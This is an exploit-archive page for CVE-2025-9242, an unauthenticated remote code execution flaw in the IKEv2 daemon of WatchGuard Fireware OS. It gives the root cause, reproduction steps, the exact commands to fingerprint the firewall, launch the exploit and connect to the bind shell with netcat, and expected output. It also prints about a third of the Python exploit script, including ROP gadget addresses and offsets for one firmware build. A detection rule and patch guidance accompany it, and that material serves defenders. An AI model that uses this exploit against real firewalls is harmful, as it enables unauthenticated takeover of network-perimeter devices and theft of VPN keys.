PoC Archive PoC Archive
CVE-2025-9242 category: network CVSS 9.8 (CRITICAL) KEV EPSS 29%
Unverified

WatchGuard Fireware OS IKEv2 iked Out-of-Bounds Write RCE (CVE-2025-9242)

Published: 2026-11-27 • Researcher: McCaulay Hudson (@_mccaulay), watchTowr Labs

Target software WatchGuard Fireware OS (iked process; mobile user VPN with IKEv2 and branch office VPN with a dynamic gateway peer)
Affected versions Fireware OS 11.10.2 through 12.11.4 and through 12.5.13 on T15/T35 models (11.x is end-of-life); vendor advisory also lists 2025.1 before 2025.1.1 and 12.3.1 FIPS before 12.3.1_Update3
Status Weaponized
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

KEV EPSS 29%

Confirmed exploited in the wild. Added to CISA KEV 2025-11-12. Federal remediation deadline 2025-12-03.

EPSS 29.1% · 99th percentile

Severity
Critical
CVE
CVE-2025-9242
Category
network
Affected product
WatchGuard Fireware OS (iked process; mobile user VPN with IKEv2 and branch office VPN with a dynamic gateway peer)
Affected versions
Fireware OS 11.10.2 through 12.11.4 and through 12.5.13 on T15/T35 models (11.x is end-of-life); vendor advisory also lists 2025.1 before 2025.1.1 and 12.3.1 FIPS before 12.3.1_Update3
Disclosed
2026-11-27
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-03-03
Author / ResearcherMcCaulay Hudson (@_mccaulay), watchTowr Labs
CVE / AdvisoryCVE-2025-9242
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSSv3.1, NVD)
StatusWeaponized
TagsRCE, OOB-write, IKEv2, iked, WatchGuard, Fireware, unauthenticated, ROP, shellcode, CWE-787
RelatedN/A

Affected Target

FieldValue
Software / SystemWatchGuard Fireware OS (iked process; mobile user VPN with IKEv2 and branch office VPN with a dynamic gateway peer)
Versions AffectedFireware OS 11.10.2 through 12.11.4 and through 12.5.13 on T15/T35 models (11.x is end-of-life); vendor advisory also lists 2025.1 before 2025.1.1 and 12.3.1 FIPS before 12.3.1_Update3
Language / PlatformPython 3 attacker script; target is a WatchGuard Firebox appliance running Linux x86_64, IKEv2 on UDP/500
Authentication RequiredNo
Network Access RequiredYes

Summary

WatchGuard Fireware OS mishandles IKEv2 payload lengths in the iked daemon, producing an out-of-bounds write that a remote unauthenticated attacker can turn into code execution. The watchTowr Labs tool performs IKEv2 security-association negotiation, fingerprints the firmware build from the vendor ID, verifies the overflow by sending a 513-byte authentication blob that a patched build rejects, and then builds a stack-smashing payload with a ROP chain and position-dependent shellcode for Fireware 12.11.3. The chain calls mprotect to make the overwritten stack executable and starts a bind shell using the appliance’s Python interpreter. CISA added the issue to its KEV catalog after reports of exploitation.

Vulnerability Details

Root Cause

The iked process copies attacker-controlled IKEv2 authentication payload data into a fixed-size stack buffer without validating the supplied length. A 512-byte authentication blob is handled normally, but a 513-byte blob writes past the end of the buffer and corrupts adjacent stack state; a larger crafted payload overwrites saved registers and the return address. Because the appliance’s Python interpreter address and a set of ROP gadgets are stable for a given firmware build, the attacker can redirect execution through the corrupted return address into a ROP chain. NVD classifies the defect as CWE-787, out-of-bounds write.

Attack Vector

The attacker sends IKEv2 packets to UDP port 500 on a Firebox that has either mobile user VPN with IKEv2 enabled or a branch office VPN with a dynamic gateway peer configured. After a normal IKE_SA_INIT exchange and transform negotiation, the tool sends a crafted IKE_AUTH authentication payload. The tool first probes with 512-byte and 513-byte blobs to distinguish a patched from a vulnerable build, then sends the full exploit payload. No credentials or authenticated VPN session are required.

Impact

Unauthenticated remote code execution on the firewall, which sits at the network perimeter and often terminates site-to-site and remote-access VPNs. The PoC’s shellcode raises the stack buffer to read-write-execute and starts a bind shell running /usr/bin/python3, giving the attacker an interactive foothold on the appliance. Compromise exposes VPN configuration, pre-shared keys, certificates and the protected networks behind the firewall.

Environment / Lab Setup

Output
OS:          Linux attacker host (Python 3)
Target:      WatchGuard Firebox running Fireware OS 12.11.3 (the only build
             for which this PoC carries gadget and symbol offsets), IKEv2
             service on UDP/500
Attacker:    Python 3.8+ with the cryptography package on the same network
Tools:       python3, cryptography, netcat

Setup Steps

The upstream repository does not include instructions for building a Firebox lab image; testing requires a physical Firebox or a Fireware OS virtual appliance in a lab, with the target IKEv2 configuration enabled. There is no local lab harness in this entry. Install the dependency and confirm the CLI:

Shell script
1
2
python3 -m pip install cryptography
python3 watchTowr-vs-WatchGuard-CVE-2025-9242.py --help

Proof of Concept

Step-by-Step Reproduction

  1. Check reachability and fingerprint the firmware — the tool sends an IKE_SA_INIT with a default transform set. If the service answers, it extracts the WatchGuard vendor ID and parses the VN and BN fields for the firmware version and build number.
  2. Verify the overflow — unless soft verification is requested, it sends a 512-byte authentication payload (expected to be handled), then a 513-byte payload. A patched build drops or times out on the oversized blob; a vulnerable build still responds.
  3. Build the exploit — for Fireware 12.11.3 the tool composes a 520-byte buffer containing a sockaddr_in for the bind address, the path to /usr/bin/python3 and the shellcode, followed by filler for the saved registers and the ROP chain.
  4. Trigger the overflow — the payload is sent as the authentication payload after a fresh IKE_SA_INIT; the corrupted return address pivots into the ROP chain, which calls mprotect on the stack page and jumps to the shellcode.
  5. Connect to the bind shell — the shellcode binds to the supplied local host and port and runs /usr/bin/python3 interactively; connect with netcat.

Exploit Code

See watchTowr-vs-WatchGuard-CVE-2025-9242.py in this folder. The upstream README is upstream-README.md.

Shell script
1
2
3
4
5
6
python watchTowr-vs-WatchGuard-CVE-2025-9242.py --rhost 192.168.56.102 --rport 500

python watchTowr-vs-WatchGuard-CVE-2025-9242.py --rhost 192.168.56.102 --rport 500 \
  --lhost 192.168.56.1 --lport 31337 --exploit

nc 192.168.56.1 31337

The ROP chain in the script is arranged as: pivot rbp to rsp and call through r13; compute the page-aligned stack buffer address; load the bind GOT entry and subtract a fixed libc offset to reach mprotect; call mprotect with PROT_READ|PROT_WRITE|PROT_EXEC on the stack page; then jump into the shellcode.

Expected Output

Output
[#] Sending IKEv2 SA Init with default transform
[#] WatchGuard Firmware Version: 12.11.3
[#] WatchGuard Build Number: 719894
[+] IKEv2 service is vulnerable to CVE-2025-9242 based on version number 12.11.3 < 12.11.4
[+] Default IKEv2 service found
[#] Verifying if IKEv2 service is vulnerable...
[+] IKEv2 service is vulnerable to CVE-2025-9242
[#] Building shellcode payload...
[#] Building ROP chain...
[#] Sending exploit payload to 192.168.56.1:31337

After the payload is sent, the bind shell listens on the supplied address and port; connecting to it yields a Python interactive prompt running on the appliance.

Detection & Indicators of Compromise

Output

SIEM / IDS Rule (example):

Output
alert udp any any -> any 500 (msg:"WatchGuard Fireware CVE-2025-9242 oversized IKE_AUTH"; \
  content:"|00 00 00 00|"; depth:4; \
  byte_test:2,>,512,0,relative; sid:9009242;)

Remediation

ActionDetail
PatchUpgrade Fireware OS to 12.11.4 or later (12.5.13 or later on T15/T35), to 2025.1.1 or later, or to 12.3.1_Update3 for the FIPS-certified 12.3.1 release; 11.x is end-of-life and must be replaced.
WorkaroundDisable mobile user VPN with IKEv2 and branch office VPNs using a dynamic gateway peer until patched; note the vendor warning that a Firebox previously configured with either feature may remain vulnerable if a branch office VPN to a static gateway peer is still configured. Restrict UDP/500 to known peer addresses.
Config HardeningLimit IKEv2 exposure at the network edge, monitor iked for crashes and unexpected child processes, rotate VPN pre-shared keys and certificates on any appliance that may have been exposed, and keep Fireware OS on a supported release train.

References

Notes

Auto-prepared 2026-11-27 from https://github.com/watchtowrlabs/watchTowr-vs-WatchGuard-CVE-2025-9242 (last upstream commit 2026-03-03, McCaulay Hudson / watchTowr Labs). Review verdict: genuine exploit. Although the upstream README labels the tool a detection artifact generator, the script contains and sends a complete ROP-chain and shellcode payload when the exploit flag is supplied, so it was ingested rather than skipped as a detector. The upstream repository has no license file, so the file is archived with attribution for authorized security research only. Limitations: the exploit path carries gadget and symbol offsets only for Fireware 12.11.3, so other builds are fingerprint-only; the bind address is supplied as the local host argument and must be an address the appliance can bind; the payload is position-dependent and assumes the tested build layout; the tool was verified by the author against a lab Firebox, not re-run here. CISA added this CVE to its KEV catalog on 2025-11-12. Run only against systems you own or have written authorization to test.

watchTowr-vs-WatchGuard-CVE-2025-9242.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/watchtowrlabs/watchTowr-vs-WatchGuard-CVE-2025-9242 (see README for attribution/license)
import argparse
import socket
import struct
import random
import enum
import hashlib
import hmac
import logging
import base64
import binascii
import re
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

# Configure logging
logger = logging.getLogger(__name__)

FW_VERSION = None
BUILD_NUMBER = None

class WatchGuardFw:
    ADDRESSES = {
        '12.11.3': {
            'pop_rcx_ret': 0x4225ab,                      # 0x00000000004225ab: pop rcx; ret;
            'mov_rax_rcx_ret': 0x5a4fac,                  # 0x00000000005a4fac: mov rax, rcx; ret;
            'mov_rbp_rsp_call_rax': 0x42008d,             # 0x000000000042008d: mov rbp, rsp; call rax;
            'pop_r13_ret': 0x594ac4,                      # 0x0000000000594ac4: pop r13; ret;
            'mov_rax_rbp_pop_rbx_pop_rbp_ret': 0x598d69,  # 0x0000000000598d69: mov rax, rbp; pop rbx; pop rbp; ret;
            'sub_rax_rcx_ret': 0x5a4fd8,                  # 0x00000000005a4fd8: sub rax, rcx; ret;
            'push_rax_mov_rax_rbx_pop_rbx_ret': 0x5a4468, # 0x00000000005a4468: push rax; mov rax, rbx; pop rbx; ret;
            'mov_rdi_rbx_call_rax': 0x42fce4,             # 0x000000000042fce4: mov rdi, rbx; call rax;
            'pop_rsi_ret': 0x508ece,                      # 0x0000000000508ece: pop rsi; ret;
            'pop_rdx_ret': 0x483a4a,                      # 0x0000000000483a4a: pop rdx; ret;
            'mov_rax_rax_ret': 0x5b145e,                  # 0x00000000005b145e: mov rax, qword ptr [rax]; ret;
            'jmp_rax': 0x41908f,                          # 0x000000000041908f: jmp rax;
            'jmp_rbx': 0x449ba3,                          # 0x0000000000449ba3: jmp rbx;

            'offset_data': 0x00,                          # Offset from data
            'offset_shellcode': 0x30,                     # Offset from buffer
            'offset_stack': 0x340,                        # Offset from rsp to start of buffer
            'offset_stack_page_aligned': 0x0cc8,          # Offset from rsp to start of buffer page aligned
            'offset_bind_mprotect': 0x5ea0,               # Offset from mprotect to bind in libc.so
            'got_bind': 0x658028,                         # GOT of bind
        },
    }

    def __init__(self, version):
        self.version = version
        if version not in self.ADDRESSES:
            raise ValueError(f'Unsupported WatchGuard version: {version}')
        self.addresses = self.ADDRESSES[version]

    def get(self, name, fmt='<Q'):
        return struct.pack(fmt, self.addresses[name])

    def get_i(self, name):
        return self.addresses[name]

    @staticmethod
    def has(version):
        return version in WatchGuardFw.ADDRESSES

    @staticmethod
    def version_tuple(v):
        return tuple(map(int, (v.split("."))))

class PayloadType(enum.IntEnum):
    NONE = 0
    TRANSFORM = 3
    SECURITY_ASSOCIATION = 33
    KEY_EXCHANGE = 34
    IDENTIFIER_INITIATOR = 35
    IDENTIFIER_RESPONDER = 36
    CERTIFICATE = 37
    CERTIFICATE_REQUEST = 38
    AUTHENTICATION = 39
    NONCE = 40
    NOTIFY = 41
    DELETE = 42
    VENDOR_ID = 43
    TRAFFIC_SELECTOR_INITIATOR = 44
    TRAFFIC_SELECTOR_RESPONDER = 45
    ENCRYPTED = 46
    CONFIGURATION = 47
    EXTENSIBLE_AUTHENTICATION = 48

class ExchangeType(enum.IntEnum):
    IKE_SA_INIT = 34
    IKE_AUTH = 35
    CREATE_CHILD_SA = 36
    INFORMATIONAL = 37

class TransformType(enum.IntEnum):
    ENCRYPTION_ALGORITHM = 1
    PSEUDO_RANDOM_FUNCTION = 2
    INTEGRITY_ALGORITHM = 3
    DIFFIE_HELLMAN_GROUP = 4

class NotifyType(enum.IntEnum):
    UNSUPPORTED_CRITICAL_PAYLOAD = 1
    INVALID_IKE_SPI = 4
    INVALID_MAJOR_VERSION = 5
    INVALID_SYNTAX = 7
    INVALID_MESSAGE_ID = 9
    INVALID_SPI = 11
    NO_PROPOSAL_CHOSEN = 14
    INVALID_KE_PAYLOAD = 17
    AUTHENTICATION_FAILED = 24
    SINGLE_PAIR_REQUIRED = 34
    NO_ADDITIONAL_SAS = 35
    INTERNAL_ADDRESS_FAILURE = 36
    FAILED_CP_REQUIRED = 37
    TS_UNACCEPTABLE = 38
    INVALID_SELECTORS = 39
    INITIAL_CONTACT = 16384
    SET_WINDOW_SIZE = 16385
    ADDITIONAL_TS_POSSIBLE = 16386
    IPCOMP_SUPPORTED = 16387
    NAT_DETECTION_SOURCE_IP = 16388
    NAT_DETECTION_DESTINATION_IP = 16389
    COOKIE = 16390
    USE_TRANSPORT_MODE = 16391
    HTTP_CERT_LOOKUP_SUPPORTED = 16392
    REKEY_SA = 16393
    ESP_TFC_PADDING_NOT_SUPPORTED = 16394
    NON_FIRST_FRAGMENTS_ALSO = 16395
    MOBIKE_SUPPORTED = 16396
    MULTIPLE_AUTH_SUPPORTED = 16404
    REDIRECT_SUPPORTED = 16406
    IKEV2_FRAGMENTATION_SUPPORTED = 16430
    SIGNATURE_HASH_ALGORITHMS = 16431

class ConfigurationAttribute(enum.IntEnum):
    INTERNAL_IP4_ADDRESS = 1
    INTERNAL_IP4_NETMASK = 2
    INTERNAL_IP4_DNS = 3
    INTERNAL_IP4_MBNS = 4
    APPLICATION_VERSION = 7
    INTERNAL_IP6_ADDRESS = 8
    INTERNAL_IP6_DNS = 10

class EncryptionAlgorithm(enum.IntEnum):
    ENCR_DES_IV64 = 1
    ENCR_DES = 2
    ENCR_3DES = 3
    ENCR_RC5 = 4
    ENCR_IDEA = 5
    ENCR_CAST = 6
    ENCR_BLOWFISH = 7
    ENCR_3IDEA = 8
    ENCR_DES_IV32 = 9
    RESERVED = 10
    ENCR_NULL = 11
    ENCR_AES_CBC = 12
    ENCR_AES_CTR = 13
    ENCR_AES_CCM_8 = 14
    ENCR_AES_CCM_12 = 15
    ENCR_AES_CCM_16 = 16
    ENCR_AES_GCM_8 = 18
    ENCR_AES_GCM_12 = 19
    ENCR_AES_GCM_16 = 20
    ENCR_NULL_AUTH_AES_GMAC = 21
    P1619_XTS_AES = 22
    ENCR_CAMELLIA_CBC = 23
    ENCR_CAMELLIA_CTR = 24
    ENCR_CAMELLIA_CCM_8 = 25
    ENCR_CAMELLIA_CCM_12 = 26
    ENCR_CAMELLIA_CCM_16 = 27
    ENCR_CHACHA20_POLY1305 = 28
    ENCR_AES_CCM_8_IIV = 29
    ENCR_AES_GCM_16_IIV = 30
    ENCR_CHACHA20_POLY1305_IIV = 31
    ENCR_KUZNYECHIK_MGM_KTREE = 32
    ENCR_MAGMA_MGM_KTREE = 33
    ENCR_KUZNYECHIK_MGM_MAC_KTREE = 34
    ENCR_MAGMA_MGM_MAC_KTREE = 35

class PseudoRandomFunction(enum.IntEnum):
    PRF_HMAC_MD5 = 1
    PRF_HMAC_SHA1 = 2
    PRF_HMAC_TIGER = 3
    PRF_AES128_XCBC = 4
    PRF_HMAC_SHA2_256 = 5
    PRF_HMAC_SHA2_384 = 6
    PRF_HMAC_SHA2_512 = 7
    PRF_AES128_CMAC = 8
    PRF_HMAC_STREEBOG_512 = 9

class IntegrityAlgorithm(enum.IntEnum):
    AUTH_HMAC_MD5_96 = 1
    AUTH_HMAC_SHA1_96 = 2
    AUTH_DES_MAC = 3
    AUTH_KPDK_MD5 = 4
    AUTH_AES_XCBC_96 = 5
    AUTH_HMAC_MD5_128 = 6
    AUTH_HMAC_SHA1_160 = 7
    AUTH_AES_CMAC_96 = 8
    AUTH_AES_128_GMAC = 9
    AUTH_AES_192_GMAC = 10
    AUTH_AES_256_GMAC = 11
    AUTH_HMAC_SHA2_256_128 = 12
    AUTH_HMAC_SHA2_384_192 = 13
    AUTH_HMAC_SHA2_512_256 = 14

class DiffieHellmanGroup(enum.IntEnum):
    DH_GROUP_2048_BIT_MODP = 14
    DH_GROUP_768_BIT_MODP = 1
    DH_GROUP_1024_BIT_MODP = 2
    DH_GROUP_1536_BIT_MODP = 5
    DH_GROUP_3072_BIT_MODP = 15
    DH_GROUP_4096_BIT_MODP = 16
    DH_GROUP_6144_BIT_MODP = 17
    DH_GROUP_8192_BIT_MODP = 18
    RANDOM_ECP_GROUP_256_BIT = 19
    RANDOM_ECP_GROUP_384_BIT = 20
    RANDOM_ECP_GROUP_521_BIT = 21
    DH_GROUP_1024_BIT_MODP_WITH_160_BIT_PRIME_ORDER_SUBGROUP = 22
    DH_GROUP_2048_BIT_MODP_WITH_224_BIT_PRIME_ORDER_SUBGROUP = 23
    DH_GROUP_2048_BIT_MODP_WITH_256_BIT_PRIME_ORDER_SUBGROUP = 24
    RANDOM_ECP_GROUP_192_BIT = 25
    RANDOM_ECP_GROUP_224_BIT = 26
    BRAINPOOLP224R1 = 27
    BRAINPOOLP256R1 = 28
    BRAINPOOLP384R1 = 29
    BRAINPOOLP512R1 = 30
    CURVE25519 = 31
    CURVE448 = 32
    GOST3410_2012_256 = 33
    GOST3410_2012_512 = 34
    ML_KEM_512 = 35
    ML_KEM_768 = 36
    ML_KEM_1024 = 37

class IkePacker:
    @staticmethod
    def header(initiator_spi, responder_spi, next_payload, exchange_type, message_id, version=0x20, flags = 0x08):
        # Flags: 0x08 = Initiator, No higher version, Request
        return struct.pack('>QQBBBBII', initiator_spi, responder_spi, next_payload, version, exchange_type, flags, message_id, 0)

    @staticmethod
    def payload_header(next_payload, payload, critical = 0):
        return struct.pack('>BBH', next_payload, critical, 4 + len(payload)) + payload

    @staticmethod
    def security_association(next_payload, proposal):
        return IkePacker.payload_header(next_payload, proposal)

    @staticmethod
    def proposal(next_payload, number, id, transforms = [], spi = b''):
        b_transforms = b''
        for transform in transforms:
            if isinstance(transform, IkeTransform):
                b_transforms += transform.pack()
                continue
            b_transforms += transform
        return IkePacker.payload_header(next_payload, struct.pack('>BBBB', number, id, len(spi), len(transforms)) + spi + b_transforms)

    @staticmethod
    def key_exchange(next_payload, dh_group, data, reserved = 0):
        return IkePacker.payload_header(next_payload, struct.pack('>HH', dh_group, reserved) + data)

    @staticmethod
    def nonce(next_payload, nonce):
        return IkePacker.payload_header(next_payload, nonce)

    @staticmethod
    def notify(next_payload, notify_type, data = b'', protocol_id = 1, spi_size = 0):
        return IkePacker.payload_header(next_payload, struct.pack('>BBH', protocol_id, spi_size, notify_type) + data)

    @staticmethod
    def vendor_id(next_payload, vendor_id):
        return IkePacker.payload_header(next_payload, vendor_id)

    @staticmethod
    def encrypted(next_payload, data):
        return IkePacker.payload_header(next_payload, data)

    @staticmethod
    def identification_initiator(next_payload, id_type, data, reserved=b'\x00\x00\x00'):
        return IkePacker.payload_header(next_payload, struct.pack('>B', id_type) + reserved + data)

    @staticmethod
    def certificate(next_payload, encoding, data):
        return IkePacker.payload_header(next_payload, struct.pack('>B', encoding) + data)

    @staticmethod
    def certificate_request(next_payload, type, data = []):
        return IkePacker.payload_header(next_payload, struct.pack('>B', type) + b''.join(data))

    @staticmethod
    def authentication(next_payload, authentication_method, data, reserved=b'\x00\x00\x00'):
        return IkePacker.payload_header(next_payload, struct.pack('>B', authentication_method) + reserved + data)

    @staticmethod
    def eap(next_payload, type=1, data=b'', code = 1, identifier = 1):
        return IkePacker.payload_header(next_payload, struct.pack('>BBHB', code, identifier, len(data)+5, type) + data)

    @staticmethod
    def configuration(next_payload, configuration_type, attributes = [], reserved=b'\x00\x00\x00'):
        return IkePacker.payload_header(next_payload, struct.pack('>B', configuration_type) + reserved + b''.join(attributes))

    @staticmethod
    def configuration_attribute(tag, value=b''):
        return struct.pack('>HH', tag, len(value)) + value

    @staticmethod
    def traffic_selector(next_payload, selectors = [], reserved=b'\x00\x00\x00'):
        return IkePacker.payload_header(next_payload, struct.pack('>B', len(selectors)) + reserved + b''.join(selectors))

    @staticmethod
    def traffic_selector_ipv4_address_range(start_port, end_port, start_address, end_address):
        type = 7 # TS_IPV4_ADDR_RANGE
        protocol_id = 0
        length = 16
        start_address = struct.unpack('!L', socket.inet_aton(start_address))[0]
        end_address = struct.unpack('!L', socket.inet_aton(end_address))[0]
        return struct.pack('>BBHHHII', type, protocol_id, length, start_port, end_port, start_address, end_address)

class IkeNotify:
    def __init__(self, protocol_id, message_type, spi, notification_data):
        self.protocol_id = protocol_id
        self.message_type = message_type
        self.spi = spi
        self.notification_data = notification_data

    @staticmethod
    def unpack(data):
        protocol_id, spi_size, message_type = struct.unpack('>2BH', data[:4])
        spi = data[4:4 + spi_size]
        notification_data = data[4 + spi_size:]
        return IkeNotify(protocol_id, message_type, spi, notification_data)

class IkeSecurityAssociation:
    def __init__(self, proposal):
        self.proposal = proposal

    @staticmethod
    def unpack(data):
        next_payload, critical, payload_length = IkeUnpacker.unpack_payload_header(data[:4])
        if next_payload != PayloadType.NONE:
            raise IkeException(f"Expected payload type {PayloadType.NONE} but got {next_payload}")
        if len(data) != payload_length:
            raise IkeException(f"Expected payload length {payload_length} but got {len(data)}")
        return IkeSecurityAssociation(IkeProposal.unpack(data[4:]))

class IkeProposal:
    def __init__(self, proposal_number, protocol_id, spi, transforms):
        self.proposal_number = proposal_number
        self.protocol_id = protocol_id
        self.spi = spi
        self.transforms = transforms

    @staticmethod
    def unpack(data):
        offset = 0
        proposal_number, protocol_id, spi_size, num_transforms = struct.unpack('>BBBB', data[offset:offset+4])
        offset += 4
        spi = b''
        if spi_size > 0:
            spi = data[offset:offset+spi_size]
            offset += spi_size
        transforms = []
        for i in range(num_transforms):
            transform, size = IkeTransform.unpack(data[offset:])
            transforms.append(transform)
            offset += size
        return IkeProposal(proposal_number, protocol_id, spi, transforms)

class IkeTransform:
    def __init__(self, next_payload, transform_type, transform_id, transform_attributes=None, reserved=0):
        self.next_payload = next_payload
        self.transform_type = transform_type
        self.reserved = reserved
        self.transform_id = transform_id
        self.transform_attributes = transform_attributes
    
    def __str__(self):
        if self.transform_type == TransformType.ENCRYPTION_ALGORITHM:
            attr = ''
            if self.transform_attributes != None:
                if 14 in self.transform_attributes: # Key Length
                    attr = f' ({self.transform_attributes[14]}-bit)'

            if self.transform_id in iter(EncryptionAlgorithm):
                return EncryptionAlgorithm(self.transform_id).name + attr
            return f'ENCR_{self.transform_id}{attr}'

        if self.transform_type == TransformType.PSEUDO_RANDOM_FUNCTION:
            if self.transform_id in iter(PseudoRandomFunction):
                return PseudoRandomFunction(self.transform_id).name
            return f'PRF_{self.transform_id}'

        if self.transform_type == TransformType.INTEGRITY_ALGORITHM:
            if self.transform_id in iter(IntegrityAlgorithm):
                return IntegrityAlgorithm(self.transform_id).name
            return f'AUTH_{self.transform_id}'

        if self.transform_type == TransformType.DIFFIE_HELLMAN_GROUP:
            if self.transform_id in iter(DiffieHellmanGroup):
                return DiffieHellmanGroup(self.transform_id).name
            return f'DH_{self.transform_id}'

    def pack(self):
        transform = struct.pack('>BBH', self.transform_type, self.reserved, self.transform_id)
        if self.transform_attributes:
            transform += struct.pack('>I', self.transform_attributes)
        return IkePacker.payload_header(self.next_payload, transform)

    @staticmethod
    def unpack(data):
        # Parse transform payload header
        offset = 0
        next_payload, critical, payload_length = IkeUnpacker.unpack_payload_header(data[offset:offset+4])
        offset += 4
        if next_payload != PayloadType.NONE and next_payload != PayloadType.TRANSFORM:
            raise IkeException(f"Expected payload type {PayloadType.NONE} or {PayloadType.TRANSFORM} but got {next_payload}")

        # Parse transform data
        transform_type, reserved, transform_id = struct.unpack('>BBH', data[offset:offset+4])
        offset += 4

        # Parse transform attributes if present
        transform_attributes = None
        if payload_length > 8:
            fmt, type, value = struct.unpack('>BBH', data[offset:offset+4])
            transform_attributes = {type: value}
            offset += 4
        return IkeTransform(next_payload, transform_type, transform_id, transform_attributes, reserved), offset

class IkeResponse:
    def __init__(self, initiator_spi, responder_spi, version, exchange_type, flags, message_id, length, payloads):
        self.initiator_spi = initiator_spi
        self.responder_spi = responder_spi
        self.version = version
        self.exchange_type = exchange_type
        self.flags = flags
        self.message_id = message_id
        self.length = length
        self.payloads = payloads

    def get(self, type):
        payloads = []
        for payload in self.payloads:
            if payload['type'] == type:
                payloads.append(payload['payload'])
        return payloads

class IkeUnpacker:
    @staticmethod
    def unpack_payload_header(data):
        return struct.unpack('>BBH', data[:4])

    @staticmethod
    def unpack(response):
        initiator_spi, responder_spi, next_payload, version, exchange_type, flags, message_id, length = struct.unpack('>QQBBBBII', response[:28])
        raw_payloads = response[28:]

        i = 0
        payload_type = next_payload
        payloads = []
        while i < len(raw_payloads):
            next_payload, critical, payload_length = IkeUnpacker.unpack_payload_header(raw_payloads[i:i+4])
            payload = raw_payloads[i+4:i+payload_length]

            # Parsed Types
            if payload_type == PayloadType.NOTIFY:
                payload = IkeNotify.unpack(payload)
            elif payload_type == PayloadType.SECURITY_ASSOCIATION:
                payload = IkeSecurityAssociation.unpack(payload)

            payloads.append({
                'type': payload_type,
                'critical': critical,
                'payload': payload
            })
            i += payload_length
            payload_type = next_payload

        return IkeResponse(
            initiator_spi,
            responder_spi,
            version,
            exchange_type,
            flags,
            message_id,
            length,
            payloads
        )

class IkeCrypto:
    def __init__(self):
        self.initiator_nonce = self.generate_nonce(32)
        self.responder_nonce = None
        self.initiator_spi = random.randint(0, 0xffffffffffffffff)
        self.responder_spi = 0x0000000000000000

        self.client_private_key = None
Showing 500 of 1485 lines View full file on GitHub →